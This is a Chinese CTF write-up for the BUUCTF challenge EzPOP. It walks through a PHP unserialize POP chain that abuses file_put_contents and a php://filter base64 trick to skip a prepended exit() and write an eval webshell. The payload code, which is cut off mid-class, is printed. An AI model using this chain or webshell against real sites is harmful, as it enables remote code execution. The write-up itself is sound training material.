BUUCTF__[EIS 2019]EzPOP_题解

前言

  • 好久没写了,懒了

解题

  • 最后有一个反序列化函数unserialize来推一波poc利用链。

  • 从后往前推,首先看到file_put_contents函数,可以写入webshell文件。

  • 再来看看两个参数。其中可以看到data,经过了拼接处理,其中有一个exit好像不太行,但我们可以利用php伪协议绕过,看看这篇详情介绍谈一谈php://filter的妙用

    $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    
  • 往上,虽然有个数据压缩的代码,但是只需要options['data_compress']为假就不进入if不执行,经过了serialize函数,但这个函数并非是序列化函数,而是在class B中自定义的serialize函数。

  • 但是$value变量来自class A中调用set函数时传递的$contents变量。那么class是怎么调用class B中的set函数,首先魔术方法__destruct()在反序列化时被调用,if一个 !$this->autosave,这就要求$this->autosave为假,然后是调用save()函数,其中的$this->store->set();完成调用,这就要求$this->storeclass B的对象。

  • 在往上,$contents变量来自函数getForStorage();的返回值,其中参数为数组[$cleaned, $this->complete],两个选择,第一让$cleaned为shell内容,第二就是$complete,显然$complete更简单,所以让$complete为shell内容,那么$cleaned为一个空数组就行了。

  • 再来看看filename,往上找的一个就是函数getCacheKey($name);的返回值,返回的是options['prefix'] . $name;两个变量拼接,其中$name来自class A中调用set函数时传递的$key变量。结束。

  • 然后就再来看看具体的paylaod。

  • 首先调用class Bset函数的条件$this->autosave=false$this->store=new B();

  • 再是shell路径$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";options['prefix']不要也行,反正只是拼接。

  • 然后来看shell内容,首先绕过数据压缩$this->options['data_compress'] = false;

  • 然后是让$cleaned为空数组,它调用了cleanContents($this->cache);因为函数参数是数组类型,所以让$this->cache=array();为一个空数组,防止调用报错。

  • 最后是shell内容,$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));$this->options['serialize'] = 'base64_decode';

  • 第一次编码是为了绕过exit,第二次是为了防止出错,但中间拼接的'xxx'的作用是啥?

  • base64算法解码时是4个字节一组,如果直接伪协议base64解码前面拼接内容"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"如果不足4的倍数会向后取三位补足4的倍数,破坏我们的shell内容,所以我们加上字符补全,来看看需要补多少个字符。

  • sprintf('%012d', $expire)不用管,输出12个字节刚好。由于<、?、()、;、>、\n都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以剩下phpexit九个字节,补三个。

  • payload

<?php
class A{
   
   
    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
   
   
        $this->cache = array();
        $this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));
        $this->key = "php://filter/write=convert.base64-decode/resource=1.php";
        $this->store = new B();
        $this->autosave = false;
    }


}
class B{
   
   
    public $options = array()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值